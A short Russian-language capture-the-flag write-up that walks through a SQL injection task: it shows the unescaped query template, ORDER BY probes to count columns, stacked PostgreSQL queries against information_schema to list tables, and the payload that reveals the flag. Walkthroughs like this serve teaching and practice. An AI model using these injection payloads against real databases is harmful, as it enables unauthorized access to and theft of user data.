Кажется, у кого-то база пользователей слита.. А нет ли там чего-то ещё, кроме данных пользователей?
Похоже на то, что используется база данных. При проверке понимаем, что наш запрос не экранируется вообще никак. И действительно, в базу данных отправляется запрос
SELECT * FROM users WHERE id = {{input_field}}
Также интересен тот факт, что если вызвать два запроса SELECT
через запятую, будет применен результат второго запроса.
Узнаем число столбцов в таблице:
1 ORDER BY 1 // ОК
1 ORDER BY 2 // OK
1 ORDER BY 3 // OK
1 ORDER BY 4 // Fail, 3 столбца
Перебираем фичи всех БД для получения списка таблиц, узнаем, что это PostgreSQL, а значит список таблиц получается командой:
1; SELECT 1, 1, table_name FROM information_schema.tables
Чтобы получать разные таблицы, в конец запроса добавляем LIMIT 1 OFFSET x
. Увеличивая x
, получаем таблицу flag
.
Снова узнаем число столбцов:
1; SELECT 1, 1, * FROM flag ORDER BY 1 // OK
1; SELECT 1, 1, * FROM flag ORDER BY 2 // Error, 1 столбец
Кстати, заметим, что при первом запросе мы получили флаг: UPML_INJ5271